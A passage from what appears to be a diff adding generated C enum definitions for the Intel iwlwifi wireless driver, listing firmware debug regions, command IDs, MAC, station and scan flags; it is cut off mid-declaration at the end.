IWL_FW_INI_LOCATION_SRAM_PATH = 1, + IWL_FW_INI_LOCATION_DRAM_PATH = 2, + IWL_FW_INI_LOCATION_NPK_PATH = 3, + IWL_FW_INI_LOCATION_NUM = 4, +}; + +enum iwl_fw_ini_config_set_type { + IWL_FW_INI_CONFIG_SET_TYPE_INVALID = 0, + IWL_FW_INI_CONFIG_SET_TYPE_DEVICE_PERIPHERY_MAC = 1, + IWL_FW_INI_CONFIG_SET_TYPE_DEVICE_PERIPHERY_PHY = 2, + IWL_FW_INI_CONFIG_SET_TYPE_DEVICE_PERIPHERY_AUX = 3, + IWL_FW_INI_CONFIG_SET_TYPE_DEVICE_MEMORY = 4, + IWL_FW_INI_CONFIG_SET_TYPE_CSR = 5, + IWL_FW_INI_CONFIG_SET_TYPE_DBGC_DRAM_ADDR = 6, + IWL_FW_INI_CONFIG_SET_TYPE_PERIPH_SCRATCH_HWM = 7, + IWL_FW_INI_CONFIG_SET_TYPE_MAX_NUM = 8, +} __attribute__((mode(byte))); + +enum iwl_fw_ini_dump_policy { + IWL_FW_INI_DEBUG_DUMP_POLICY_NO_LIMIT = 1, + IWL_FW_INI_DEBUG_DUMP_POLICY_MAX_LIMIT_600KB = 2, + IWL_FW_IWL_DEBUG_DUMP_POLICY_MAX_LIMIT_5MB = 4, +}; + +enum iwl_fw_ini_dump_type { + IWL_FW_INI_DUMP_BRIEF = 0, + IWL_FW_INI_DUMP_MEDIUM = 1, + IWL_FW_INI_DUMP_VERBOSE = 2, +}; + +enum iwl_fw_ini_region_device_memory_subtype { + IWL_FW_INI_REGION_DEVICE_MEMORY_SUBTYPE_HW_SMEM = 1, + IWL_FW_INI_REGION_DEVICE_MEMORY_SUBTYPE_UMAC_ERROR_TABLE = 5, + IWL_FW_INI_REGION_DEVICE_MEMORY_SUBTYPE_LMAC_1_ERROR_TABLE = 7, + IWL_FW_INI_REGION_DEVICE_MEMORY_SUBTYPE_LMAC_2_ERROR_TABLE = 10, + IWL_FW_INI_REGION_DEVICE_MEMORY_SUBTYPE_TCM_1_ERROR_TABLE = 14, + IWL_FW_INI_REGION_DEVICE_MEMORY_SUBTYPE_TCM_2_ERROR_TABLE = 16, + IWL_FW_INI_REGION_DEVICE_MEMORY_SUBTYPE_RCM_1_ERROR_TABLE = 18, + IWL_FW_INI_REGION_DEVICE_MEMORY_SUBTYPE_RCM_2_ERROR_TABLE = 20, +}; + +enum iwl_fw_ini_region_type { + IWL_FW_INI_REGION_INVALID = 0, + IWL_FW_INI_REGION_TLV = 1, + IWL_FW_INI_REGION_INTERNAL_BUFFER = 2, + IWL_FW_INI_REGION_DRAM_BUFFER = 3, + IWL_FW_INI_REGION_TXF = 4, + IWL_FW_INI_REGION_RXF = 5, + IWL_FW_INI_REGION_LMAC_ERROR_TABLE = 6, + IWL_FW_INI_REGION_UMAC_ERROR_TABLE = 7, + IWL_FW_INI_REGION_RSP_OR_NOTIF = 8, + IWL_FW_INI_REGION_DEVICE_MEMORY = 9, + IWL_FW_INI_REGION_PERIPHERY_MAC = 10, + IWL_FW_INI_REGION_PERIPHERY_PHY = 11, + IWL_FW_INI_REGION_PERIPHERY_AUX = 12, + IWL_FW_INI_REGION_PAGING = 13, + IWL_FW_INI_REGION_CSR = 14, + IWL_FW_INI_REGION_DRAM_IMR = 15, + IWL_FW_INI_REGION_PCI_IOSF_CONFIG = 16, + IWL_FW_INI_REGION_SPECIAL_DEVICE_MEMORY = 17, + IWL_FW_INI_REGION_DBGI_SRAM = 18, + IWL_FW_INI_REGION_PERIPHERY_MAC_RANGE = 19, + IWL_FW_INI_REGION_PERIPHERY_PHY_RANGE = 20, + IWL_FW_INI_REGION_PERIPHERY_SNPS_DPHYIP = 21, + IWL_FW_INI_REGION_NUM = 22, +}; + +enum iwl_fw_ini_time_point { + IWL_FW_INI_TIME_POINT_INVALID = 0, + IWL_FW_INI_TIME_POINT_EARLY = 1, + IWL_FW_INI_TIME_POINT_AFTER_ALIVE = 2, + IWL_FW_INI_TIME_POINT_POST_INIT = 3, + IWL_FW_INI_TIME_POINT_FW_ASSERT = 4, + IWL_FW_INI_TIME_POINT_FW_HW_ERROR = 5, + IWL_FW_INI_TIME_POINT_FW_TFD_Q_HANG = 6, + IWL_FW_INI_TIME_POINT_FW_DHC_NOTIFICATION = 7, + IWL_FW_INI_TIME_POINT_FW_RSP_OR_NOTIF = 8, + IWL_FW_INI_TIME_POINT_USER_TRIGGER = 9, + IWL_FW_INI_TIME_POINT_PERIODIC = 10, + IWL_FW_INI_TIME_POINT_RESERVED = 11, + IWL_FW_INI_TIME_POINT_HOST_ASSERT = 12, + IWL_FW_INI_TIME_POINT_HOST_ALIVE_TIMEOUT = 13, + IWL_FW_INI_TIME_POINT_HOST_DEVICE_ENABLE = 14, + IWL_FW_INI_TIME_POINT_HOST_DEVICE_DISABLE = 15, + IWL_FW_INI_TIME_POINT_HOST_D3_START = 16, + IWL_FW_INI_TIME_POINT_HOST_D3_END = 17, + IWL_FW_INI_TIME_POINT_MISSED_BEACONS = 18, + IWL_FW_INI_TIME_POINT_ASSOC_FAILED = 19, + IWL_FW_INI_TIME_POINT_TX_FAILED = 20, + IWL_FW_INI_TIME_POINT_TX_WFD_ACTION_FRAME_FAILED = 21, + IWL_FW_INI_TIME_POINT_TX_LATENCY_THRESHOLD = 22, + IWL_FW_INI_TIME_POINT_HANG_OCCURRED = 23, + IWL_FW_INI_TIME_POINT_EAPOL_FAILED = 24, + IWL_FW_INI_TIME_POINT_FAKE_TX = 25, + IWL_FW_INI_TIME_POINT_DEASSOC = 26, + IWL_FW_INI_TIME_POINT_PRESET_OVERRIDE_EXT_REQ = 27, + IWL_FW_INI_TIME_POINT_PRESET_OVERRIDE_START = 28, + IWL_FW_INI_TIME_SCAN_FAILURE = 29, + IWL_FW_INI_TIME_ESR_LINK_UP = 30, + IWL_FW_INI_TIME_ESR_LINK_DOWN = 31, + IWL_FW_INI_TIME_POINT_NUM = 32, +}; + +enum iwl_fw_ini_trigger_apply_policy { + IWL_FW_INI_APPLY_POLICY_MATCH_TIME_POINT = 1, + IWL_FW_INI_APPLY_POLICY_MATCH_DATA = 2, + IWL_FW_INI_APPLY_POLICY_OVERRIDE_REGIONS = 256, + IWL_FW_INI_APPLY_POLICY_OVERRIDE_CFG = 512, + IWL_FW_INI_APPLY_POLICY_OVERRIDE_DATA = 1024, + IWL_FW_INI_APPLY_POLICY_DUMP_COMPLETE_CMD = 65536, +}; + +enum iwl_fw_ini_trigger_reset_fw_policy { + IWL_FW_INI_RESET_FW_MODE_NOTHING = 0, + IWL_FW_INI_RESET_FW_MODE_STOP_FW_ONLY = 1, + IWL_FW_INI_RESET_FW_MODE_STOP_AND_RELOAD_FW = 2, +}; + +enum iwl_fw_phy_cfg { + FW_PHY_CFG_RADIO_TYPE_POS = 0, + FW_PHY_CFG_RADIO_TYPE = 3, + FW_PHY_CFG_RADIO_STEP_POS = 2, + FW_PHY_CFG_RADIO_STEP = 12, + FW_PHY_CFG_RADIO_DASH_POS = 4, + FW_PHY_CFG_RADIO_DASH = 48, + FW_PHY_CFG_TX_CHAIN_POS = 16, + FW_PHY_CFG_TX_CHAIN = 983040, + FW_PHY_CFG_RX_CHAIN_POS = 20, + FW_PHY_CFG_RX_CHAIN = 15728640, + FW_PHY_CFG_CHAIN_SAD_POS = 23, + FW_PHY_CFG_CHAIN_SAD_ENABLED = 8388608, + FW_PHY_CFG_CHAIN_SAD_ANT_A = 16777216, + FW_PHY_CFG_CHAIN_SAD_ANT_B = 33554432, + FW_PHY_CFG_SHARED_CLK = 2147483648, +}; + +enum iwl_fw_sta_type { + STATION_TYPE_PEER = 0, + STATION_TYPE_BCAST_MGMT = 1, + STATION_TYPE_MCAST = 2, + STATION_TYPE_AUX = 3, +}; + +enum iwl_fw_statistics_type { + FW_STATISTICS_OPERATIONAL = 0, + FW_STATISTICS_PHY = 1, + FW_STATISTICS_MAC = 2, + FW_STATISTICS_RX = 3, + FW_STATISTICS_TX = 4, + FW_STATISTICS_DURATION = 5, + FW_STATISTICS_HE = 6, +}; + +enum iwl_fw_type { + IWL_FW_DVM = 0, + IWL_FW_MVM = 1, +}; + +enum iwl_geo_information { + GEO_NO_INFO = 0, + GEO_WMM_ETSI_5GHZ_INFO = 1, +}; + +enum iwl_geo_per_chain_offset_operation { + IWL_PER_CHAIN_OFFSET_SET_TABLES = 0, + IWL_PER_CHAIN_OFFSET_GET_CURRENT_TABLE = 1, +}; + +enum iwl_hcmd_dataflag { + IWL_HCMD_DFL_NOCOPY = 1, + IWL_HCMD_DFL_DUP = 2, +}; + +enum iwl_he_htc_flags { + IWL_HE_HTC_SUPPORT = 1, + IWL_HE_HTC_UL_MU_RESP_SCHED = 8, + IWL_HE_HTC_BSR_SUPP = 16, + IWL_HE_HTC_OMI_SUPP = 32, + IWL_HE_HTC_BQR_SUPP = 64, +}; + +enum iwl_he_pkt_ext_constellations { + IWL_HE_PKT_EXT_BPSK = 0, + IWL_HE_PKT_EXT_QPSK = 1, + IWL_HE_PKT_EXT_16QAM = 2, + IWL_HE_PKT_EXT_64QAM = 3, + IWL_HE_PKT_EXT_256QAM = 4, + IWL_HE_PKT_EXT_1024QAM = 5, + IWL_HE_PKT_EXT_4096QAM = 6, + IWL_HE_PKT_EXT_NONE = 7, +}; + +enum iwl_he_sta_ctxt_flags { + STA_CTXT_HE_REF_BSSID_VALID = 16, + STA_CTXT_HE_BSS_COLOR_DIS = 32, + STA_CTXT_HE_PARTIAL_BSS_COLOR = 64, + STA_CTXT_HE_32BIT_BA_BITMAP = 128, + STA_CTXT_HE_PACKET_EXT = 256, + STA_CTXT_HE_TRIG_RND_ALLOC = 512, + STA_CTXT_HE_CONST_TRIG_RND_ALLOC = 1024, + STA_CTXT_HE_ACK_ENABLED = 2048, + STA_CTXT_HE_MU_EDCA_CW = 4096, + STA_CTXT_HE_NIC_NOT_ACK_ENABLED = 8192, + STA_CTXT_HE_RU_2MHZ_BLOCK = 16384, + STA_CTXT_HE_NDP_FEEDBACK_ENABLED = 32768, + STA_CTXT_EHT_PUNCTURE_MASK_VALID = 65536, + STA_CTXT_EHT_LONG_PPE_ENABLED = 131072, +}; + +enum iwl_ibss_manager { + IWL_NOT_IBSS_MANAGER = 0, + IWL_IBSS_MANAGER = 1, +}; + +enum iwl_ini_cfg_state { + IWL_INI_CFG_STATE_NOT_LOADED = 0, + IWL_INI_CFG_STATE_LOADED = 1, + IWL_INI_CFG_STATE_CORRUPTED = 2, +}; + +enum iwl_initiator_ap_flags { + IWL_INITIATOR_AP_FLAGS_ASAP = 2, + IWL_INITIATOR_AP_FLAGS_LCI_REQUEST = 4, + IWL_INITIATOR_AP_FLAGS_CIVIC_REQUEST = 8, + IWL_INITIATOR_AP_FLAGS_DYN_ACK = 16, + IWL_INITIATOR_AP_FLAGS_ALGO_LR = 32, + IWL_INITIATOR_AP_FLAGS_ALGO_FFT = 64, + IWL_INITIATOR_AP_FLAGS_MCSI_REPORT = 256, + IWL_INITIATOR_AP_FLAGS_NON_TB = 512, + IWL_INITIATOR_AP_FLAGS_TB = 1024, + IWL_INITIATOR_AP_FLAGS_SECURED = 2048, + IWL_INITIATOR_AP_FLAGS_LMR_FEEDBACK = 4096, + IWL_INITIATOR_AP_FLAGS_USE_CALIB = 8192, + IWL_INITIATOR_AP_FLAGS_PMF = 16384, + IWL_INITIATOR_AP_FLAGS_TERMINATE_ON_LMR_FEEDBACK = 32768, + IWL_INITIATOR_AP_FLAGS_TEST_INCORRECT_SAC = 65536, +}; + +enum iwl_lari_config_masks { + LARI_CONFIG_DISABLE_11AC_UKRAINE_MSK = 1, + LARI_CONFIG_CHANGE_ETSI_TO_PASSIVE_MSK = 2, + LARI_CONFIG_CHANGE_ETSI_TO_DISABLED_MSK = 4, + LARI_CONFIG_ENABLE_5G2_IN_INDONESIA_MSK = 8, + LARI_CONFIG_ENABLE_CHINA_22_REG_SUPPORT_MSK = 128, +}; + +enum iwl_led_mode { + IWL_LED_DEFAULT = 0, + IWL_LED_RF_STATE = 1, + IWL_LED_BLINK = 2, + IWL_LED_DISABLE = 3, +}; + +enum iwl_legacy_cmds { + UCODE_ALIVE_NTFY = 1, + REPLY_ERROR___2 = 2, + ECHO_CMD = 3, + INIT_COMPLETE_NOTIF = 4, + PHY_CONTEXT_CMD = 8, + DBG_CFG = 9, + SCAN_ITERATION_COMPLETE_UMAC = 181, + SCAN_CFG_CMD = 12, + SCAN_REQ_UMAC = 13, + SCAN_ABORT_UMAC = 14, + SCAN_COMPLETE_UMAC = 15, + BA_WINDOW_STATUS_NOTIFICATION_ID = 19, + ADD_STA_KEY = 23, + ADD_STA = 24, + REMOVE_STA = 25, + TX_CMD = 28, + TXPATH_FLUSH = 30, + MGMT_MCAST_KEY = 31, + SCD_QUEUE_CFG = 29, + WEP_KEY = 32, + SHARED_MEM_CFG = 37, + TDLS_CHANNEL_SWITCH_CMD = 39, + TDLS_CHANNEL_SWITCH_NOTIFICATION = 170, + TDLS_CONFIG_CMD = 167, + MAC_CONTEXT_CMD = 40, + TIME_EVENT_CMD = 41, + TIME_EVENT_NOTIFICATION = 42, + BINDING_CONTEXT_CMD = 43, + TIME_QUOTA_CMD = 44, + NON_QOS_TX_COUNTER_CMD = 45, + LEDS_CMD = 72, + LQ_CMD = 78, + FW_PAGING_BLOCK_CMD = 79, + SCAN_OFFLOAD_REQUEST_CMD = 81, + SCAN_OFFLOAD_ABORT_CMD = 82, + HOT_SPOT_CMD = 83, + WNM_80211V_TIMING_MEASUREMENT_NOTIFICATION = 103, + WNM_80211V_TIMING_MEASUREMENT_CONFIRM_NOTIFICATION = 104, + SCAN_OFFLOAD_COMPLETE = 109, + SCAN_OFFLOAD_UPDATE_PROFILES_CMD = 110, + MATCH_FOUND_NOTIFICATION = 217, + SCAN_ITERATION_COMPLETE = 231, + PHY_CONFIGURATION_CMD = 106, + CALIB_RES_NOTIF_PHY_DB = 107, + PHY_DB_CMD = 108, + POWER_TABLE_CMD___2 = 119, + PSM_UAPSD_AP_MISBEHAVING_NOTIFICATION = 120, + LTR_CONFIG = 238, + REPLY_THERMAL_MNG_BACKOFF = 126, + NVM_ACCESS_CMD = 136, + BEACON_NOTIFICATION___2 = 144, + BEACON_TEMPLATE_CMD = 145, + TX_ANT_CONFIGURATION_CMD___2 = 152, + STATISTICS_CMD = 156, + STATISTICS_NOTIFICATION___2 = 157, + EOSP_NOTIFICATION = 158, + REDUCE_TX_POWER_CMD = 159, + MISSED_BEACONS_NOTIFICATION___2 = 162, + MAC_PM_POWER_TABLE = 169, + MFUART_LOAD_NOTIFICATION = 177, + RSS_CONFIG_CMD = 179, + REPLY_RX_PHY_CMD___2 = 192, + REPLY_RX_MPDU_CMD___2 = 193, + BAR_FRAME_RELEASE = 194, + FRAME_RELEASE = 195, + BA_NOTIF = 197, + MCC_UPDATE_CMD = 200, + MCC_CHUB_UPDATE_CMD = 201, + MARKER_CMD = 203, + BT_PROFILE_NOTIFICATION = 206, + BT_CONFIG = 155, + BT_COEX_UPDATE_REDUCED_TXP = 92, + BT_COEX_CI = 93, + REPLY_SF_CFG_CMD = 209, + REPLY_BEACON_FILTERING_CMD = 210, + DTS_MEASUREMENT_NOTIFICATION = 221, + LDBG_CONFIG_CMD = 246, + DEBUG_LOG_MSG = 247, + MCAST_FILTER_CMD = 208, + D3_CONFIG_CMD = 211, + PROT_OFFLOAD_CONFIG_CMD = 212, + D0I3_END_CMD = 237, + WOWLAN_PATTERNS = 224, + WOWLAN_CONFIGURATION = 225, + WOWLAN_TSC_RSC_PARAM = 226, + WOWLAN_TKIP_PARAM = 227, + WOWLAN_KEK_KCK_MATERIAL = 228, + WOWLAN_GET_STATUSES = 229, + SCAN_OFFLOAD_PROFILES_QUERY_CMD = 86, +}; + +enum iwl_link_ctx_flags { + LINK_FLG_BSS_COLOR_DIS = 1, + LINK_FLG_MU_EDCA_CW = 2, + LINK_FLG_RU_2MHZ_BLOCK = 4, + LINK_FLG_NDP_FEEDBACK_ENABLED = 8, +}; + +enum iwl_link_ctx_modify_flags { + LINK_CONTEXT_MODIFY_ACTIVE = 1, + LINK_CONTEXT_MODIFY_RATES_INFO = 2, + LINK_CONTEXT_MODIFY_PROTECT_FLAGS = 4, + LINK_CONTEXT_MODIFY_QOS_PARAMS = 8, + LINK_CONTEXT_MODIFY_BEACON_TIMING = 16, + LINK_CONTEXT_MODIFY_HE_PARAMS = 32, + LINK_CONTEXT_MODIFY_BSS_COLOR_DISABLE = 64, + LINK_CONTEXT_MODIFY_EHT_PARAMS = 128, + LINK_CONTEXT_MODIFY_ALL = 255, +}; + +enum iwl_link_ctx_protection_flags { + LINK_PROT_FLG_TGG_PROTECT = 1, + LINK_PROT_FLG_HT_PROT = 2, + LINK_PROT_FLG_FAT_PROT = 4, + LINK_PROT_FLG_SELF_CTS_EN = 8, +}; + +enum iwl_location_bw { + IWL_LOCATION_BW_20MHZ = 0, + IWL_LOCATION_BW_40MHZ = 1, + IWL_LOCATION_BW_80MHZ = 2, + IWL_LOCATION_BW_160MHZ = 3, +}; + +enum iwl_location_cipher { + IWL_LOCATION_CIPHER_CCMP_128 = 0, + IWL_LOCATION_CIPHER_GCMP_128 = 1, + IWL_LOCATION_CIPHER_GCMP_256 = 2, + IWL_LOCATION_CIPHER_INVALID = 3, + IWL_LOCATION_CIPHER_MAX = 4, +}; + +enum iwl_location_frame_format { + IWL_LOCATION_FRAME_FORMAT_LEGACY = 0, + IWL_LOCATION_FRAME_FORMAT_HT = 1, + IWL_LOCATION_FRAME_FORMAT_VHT = 2, + IWL_LOCATION_FRAME_FORMAT_HE = 3, +}; + +enum iwl_location_subcmd_ids { + TOF_RANGE_REQ_CMD = 0, + TOF_CONFIG_CMD = 1, + TOF_RANGE_ABORT_CMD = 2, + TOF_RANGE_REQ_EXT_CMD = 3, + TOF_RESPONDER_CONFIG_CMD = 4, + TOF_RESPONDER_DYN_CONFIG_CMD = 5, + CSI_HEADER_NOTIFICATION = 250, + CSI_CHUNKS_NOTIFICATION = 251, + TOF_LC_NOTIF = 252, + TOF_RESPONDER_STATS = 253, + TOF_MCSI_DEBUG_NOTIF = 254, + TOF_RANGE_RESPONSE_NOTIF = 255, +}; + +enum iwl_mac_beacon_flags { + IWL_MAC_BEACON_CCK = 32, + IWL_MAC_BEACON_ANT_A = 64, + IWL_MAC_BEACON_ANT_B = 128, + IWL_MAC_BEACON_FILS = 256, +}; + +enum iwl_mac_beacon_flags_v1 { + IWL_MAC_BEACON_CCK_V1 = 256, + IWL_MAC_BEACON_ANT_A_V1 = 512, + IWL_MAC_BEACON_ANT_B_V1 = 1024, + IWL_MAC_BEACON_FILS_V1 = 4096, +}; + +enum iwl_mac_conf_subcmd_ids { + LOW_LATENCY_CMD = 3, + CHANNEL_SWITCH_TIME_EVENT_CMD = 4, + MISSED_VAP_NOTIF = 250, + SESSION_PROTECTION_CMD = 5, + CANCEL_CHANNEL_SWITCH_CMD = 6, + MAC_CONFIG_CMD = 8, + LINK_CONFIG_CMD = 9, + STA_CONFIG_CMD = 10, + AUX_STA_CMD = 11, + STA_REMOVE_CMD = 12, + STA_DISABLE_TX_CMD = 13, + ROC_CMD = 14, + MISSED_BEACONS_NOTIF = 246, + EMLSR_TRANS_FAIL_NOTIF = 247, + ROC_NOTIF = 248, + SESSION_PROTECTION_NOTIF = 251, + PROBE_RESPONSE_DATA_NOTIF = 252, + CHANNEL_SWITCH_START_NOTIF = 255, + CHANNEL_SWITCH_ERROR_NOTIF = 249, +}; + +enum iwl_mac_config_filter_flags { + MAC_CFG_FILTER_PROMISC = 1, + MAC_CFG_FILTER_ACCEPT_CONTROL_AND_MGMT = 2, + MAC_CFG_FILTER_ACCEPT_GRP = 4, + MAC_CFG_FILTER_ACCEPT_BEACON = 8, + MAC_CFG_FILTER_ACCEPT_BCAST_PROBE_RESP = 16, + MAC_CFG_FILTER_ACCEPT_PROBE_REQ = 32, +}; + +enum iwl_mac_data_policy { + TWT_SUPPORTED = 1, + MORE_DATA_ACK_SUPPORTED = 2, + FLEXIBLE_TWT_SUPPORTED = 4, + PROTECTED_TWT_SUPPORTED = 8, + BROADCAST_TWT_SUPPORTED = 16, + COEX_HIGH_PRIORITY_ENABLE = 32, +}; + +enum iwl_mac_filter_flags { + MAC_FILTER_IN_PROMISC = 1, + MAC_FILTER_IN_CONTROL_AND_MGMT = 2, + MAC_FILTER_ACCEPT_GRP = 4, + MAC_FILTER_DIS_DECRYPT = 8, + MAC_FILTER_DIS_GRP_DECRYPT = 16, + MAC_FILTER_IN_BEACON = 64, + MAC_FILTER_OUT_BCAST = 256, + MAC_FILTER_IN_CRC32 = 2048, + MAC_FILTER_IN_PROBE_REQUEST = 4096, + MAC_FILTER_IN_11AX = 16384, +}; + +enum iwl_mac_protection_flags { + MAC_PROT_FLG_TGG_PROTECT = 8, + MAC_PROT_FLG_HT_PROT = 8388608, + MAC_PROT_FLG_FAT_PROT = 16777216, + MAC_PROT_FLG_SELF_CTS_EN = 1073741824, +}; + +enum iwl_mac_qos_flags { + MAC_QOS_FLG_UPDATE_EDCA = 1, + MAC_QOS_FLG_TGN = 2, + MAC_QOS_FLG_TXOP_TYPE = 16, +}; + +enum iwl_mac_types { + FW_MAC_TYPE_FIRST = 1, + FW_MAC_TYPE_AUX = 1, + FW_MAC_TYPE_LISTENER = 2, + FW_MAC_TYPE_PIBSS = 3, + FW_MAC_TYPE_IBSS = 4, + FW_MAC_TYPE_BSS_STA = 5, + FW_MAC_TYPE_P2P_DEVICE = 6, + FW_MAC_TYPE_P2P_STA = 7, + FW_MAC_TYPE_GO = 8, + FW_MAC_TYPE_TEST = 9, + FW_MAC_TYPE_MAX = 9, +}; + +enum iwl_mcc_source { + MCC_SOURCE_OLD_FW = 0, + MCC_SOURCE_ME = 1, + MCC_SOURCE_BIOS = 2, + MCC_SOURCE_3G_LTE_HOST = 3, + MCC_SOURCE_3G_LTE_DEVICE = 4, + MCC_SOURCE_WIFI = 5, + MCC_SOURCE_RESERVED = 6, + MCC_SOURCE_DEFAULT = 7, + MCC_SOURCE_UNINITIALIZED = 8, + MCC_SOURCE_MCC_API = 9, + MCC_SOURCE_GET_CURRENT = 16, + MCC_SOURCE_GETTING_MCC_TEST_MODE = 17, +}; + +enum iwl_mcc_update_status { + MCC_RESP_NEW_CHAN_PROFILE = 0, + MCC_RESP_SAME_CHAN_PROFILE = 1, + MCC_RESP_INVALID = 2, + MCC_RESP_NVM_DISABLED = 3, + MCC_RESP_ILLEGAL = 4, + MCC_RESP_LOW_PRIORITY = 5, + MCC_RESP_TEST_MODE_ACTIVE = 6, + MCC_RESP_TEST_MODE_NOT_ACTIVE = 7, + MCC_RESP_TEST_MODE_DENIAL_OF_SERVICE = 8, +}; + +enum iwl_mei_nvm_caps { + MEI_NVM_CAPS_LARI_SUPPORT = 1, + MEI_NVM_CAPS_11AX_SUPPORT = 2, +}; + +enum iwl_mvm_add_sta_rsp_status { + ADD_STA_SUCCESS = 1, + ADD_STA_STATIONS_OVERLOAD = 2, + ADD_STA_IMMEDIATE_BA_FAILURE = 4, + ADD_STA_MODIFY_NON_EXISTING_STA = 8, +}; + +enum iwl_mvm_agg_state { + IWL_AGG_OFF___2 = 0, + IWL_AGG_QUEUED = 1, + IWL_AGG_STARTING___2 = 2, + IWL_AGG_ON___2 = 3, + IWL_EMPTYING_HW_QUEUE_ADDBA___2 = 4, + IWL_EMPTYING_HW_QUEUE_DELBA___2 = 5, +}; + +enum iwl_mvm_command_groups { + LEGACY_GROUP = 0, + LONG_GROUP = 1, + SYSTEM_GROUP = 2, + MAC_CONF_GROUP = 3, + PHY_OPS_GROUP = 4, + DATA_PATH_GROUP = 5, + SCAN_GROUP = 6, + NAN_GROUP = 7, + LOCATION_GROUP = 8, + BT_COEX_GROUP = 9, + PROT_OFFLOAD_GROUP = 11, + REGULATORY_AND_NVM_GROUP = 12, + DEBUG_GROUP = 15, + STATISTICS_GROUP = 16, +}; + +enum iwl_mvm_ctdp_cmd_operation { + CTDP_CMD_OPERATION_START = 1, + CTDP_CMD_OPERATION_STOP = 2, + CTDP_CMD_OPERATION_REPORT = 4, +}; + +enum iwl_mvm_dqa_txq { + IWL_MVM_DQA_CMD_QUEUE = 0, + IWL_MVM_DQA_AUX_QUEUE = 1, + IWL_MVM_DQA_P2P_DEVICE_QUEUE = 2, + IWL_MVM_DQA_INJECT_MONITOR_QUEUE = 2, + IWL_MVM_DQA_GCAST_QUEUE = 3, + IWL_MVM_DQA_BSS_CLIENT_QUEUE = 4, + IWL_MVM_DQA_MIN_MGMT_QUEUE = 5, + IWL_MVM_DQA_MAX_MGMT_QUEUE = 8, + IWL_MVM_DQA_AP_PROBE_RESP_QUEUE = 9, + IWL_MVM_DQA_MIN_DATA_QUEUE = 10, + IWL_MVM_DQA_MAX_DATA_QUEUE = 30, +}; + +enum iwl_mvm_esr_state { + IWL_MVM_ESR_BLOCKED_PREVENTION = 1, + IWL_MVM_ESR_BLOCKED_WOWLAN = 2, + IWL_MVM_ESR_BLOCKED_TPT = 4, + IWL_MVM_ESR_BLOCKED_FW = 8, + IWL_MVM_ESR_BLOCKED_NON_BSS = 16, + IWL_MVM_ESR_BLOCKED_ROC = 32, + IWL_MVM_ESR_EXIT_MISSED_BEACON = 65536, + IWL_MVM_ESR_EXIT_LOW_RSSI = 131072, + IWL_MVM_ESR_EXIT_COEX = 262144, + IWL_MVM_ESR_EXIT_BANDWIDTH = 524288, + IWL_MVM_ESR_EXIT_CSA = 1048576, + IWL_MVM_ESR_EXIT_LINK_USAGE = 2097152, + IWL_MVM_ESR_EXIT_FAIL_ENTRY = 4194304, +}; + +enum iwl_mvm_fw_esr_recommendation { + ESR_RECOMMEND_LEAVE = 0, + ESR_FORCE_LEAVE = 1, + ESR_RECOMMEND_ENTER = 2, +}; + +enum iwl_mvm_init_status { + IWL_MVM_INIT_STATUS_THERMAL_INIT_COMPLETE = 1, + IWL_MVM_INIT_STATUS_LEDS_INIT_COMPLETE = 2, +}; + +enum iwl_mvm_lmac_scan_flags { + IWL_MVM_LMAC_SCAN_FLAG_PASS_ALL = 1, + IWL_MVM_LMAC_SCAN_FLAG_PASSIVE = 2, + IWL_MVM_LMAC_SCAN_FLAG_PRE_CONNECTION = 4, + IWL_MVM_LMAC_SCAN_FLAG_ITER_COMPLETE = 8, + IWL_MVM_LMAC_SCAN_FLAG_MULTIPLE_SSIDS = 16, + IWL_MVM_LMAC_SCAN_FLAG_FRAGMENTED = 32, + IWL_MVM_LMAC_SCAN_FLAGS_RRM_ENABLED = 64, + IWL_MVM_LMAC_SCAN_FLAG_EXTENDED_DWELL = 128, + IWL_MVM_LMAC_SCAN_FLAG_MATCH = 512, +}; + +enum iwl_mvm_low_latency_cause { + LOW_LATENCY_TRAFFIC = 1, + LOW_LATENCY_DEBUGFS = 2, + LOW_LATENCY_VCMD = 4, + LOW_LATENCY_VIF_TYPE = 8, + LOW_LATENCY_DEBUGFS_FORCE_ENABLE = 16, + LOW_LATENCY_DEBUGFS_FORCE = 32, +}; + +enum iwl_mvm_pasn_flags { + IWL_MVM_PASN_FLAG_HAS_HLTK = 1, +}; + +enum iwl_mvm_pm_event { + IWL_MVM_PM_EVENT_AWAKE = 0, + IWL_MVM_PM_EVENT_ASLEEP = 1, + IWL_MVM_PM_EVENT_UAPSD = 2, + IWL_MVM_PM_EVENT_PS_POLL = 3, +}; + +enum iwl_mvm_queue_status { + IWL_MVM_QUEUE_FREE = 0, + IWL_MVM_QUEUE_RESERVED = 1, + IWL_MVM_QUEUE_READY = 2, + IWL_MVM_QUEUE_SHARED = 3, +}; + +enum iwl_mvm_rx_status { + RX_MPDU_RES_STATUS_CRC_OK = 1, + RX_MPDU_RES_STATUS_OVERRUN_OK = 2, + RX_MPDU_RES_STATUS_SRC_STA_FOUND = 4, + RX_MPDU_RES_STATUS_KEY_VALID = 8, + RX_MPDU_RES_STATUS_ICV_OK = 32, + RX_MPDU_RES_STATUS_MIC_OK = 64, + RX_MPDU_RES_STATUS_TTAK_OK = 128, + RX_MPDU_RES_STATUS_MNG_FRAME_REPLAY_ERR = 128, + RX_MPDU_RES_STATUS_SEC_NO_ENC = 0, + RX_MPDU_RES_STATUS_SEC_WEP_ENC = 256, + RX_MPDU_RES_STATUS_SEC_CCM_ENC = 512, + RX_MPDU_RES_STATUS_SEC_TKIP_ENC = 768, + RX_MPDU_RES_STATUS_SEC_EXT_ENC = 1024, + RX_MPDU_RES_STATUS_SEC_CMAC_GMAC_ENC = 1536, + RX_MPDU_RES_STATUS_SEC_ENC_ERR = 1792, + RX_MPDU_RES_STATUS_SEC_ENC_MSK = 1792, + RX_MPDU_RES_STATUS_DEC_DONE = 2048, + RX_MPDU_RES_STATUS_CSUM_DONE = 65536, + RX_MPDU_RES_STATUS_CSUM_OK = 131072, + RX_MDPU_RES_STATUS_STA_ID_SHIFT = 24, + RX_MPDU_RES_STATUS_STA_ID_MSK = 520093696, +}; + +enum iwl_mvm_rxq_notif_type { + IWL_MVM_RXQ_EMPTY = 0, + IWL_MVM_RXQ_NOTIF_DEL_BA = 1, +}; + +enum iwl_mvm_scan_type { + IWL_SCAN_TYPE_NOT_SET = 0, + IWL_SCAN_TYPE_UNASSOC = 1, + IWL_SCAN_TYPE_WILD = 2, + IWL_SCAN_TYPE_MILD = 3, + IWL_SCAN_TYPE_FRAGMENTED = 4, + IWL_SCAN_TYPE_FAST_BALANCE = 5, +}; + +enum iwl_mvm_sched_scan_pass_all_states { + SCHED_SCAN_PASS_ALL_DISABLED = 0, + SCHED_SCAN_PASS_ALL_ENABLED = 1, + SCHED_SCAN_PASS_ALL_FOUND = 2, +}; + +enum 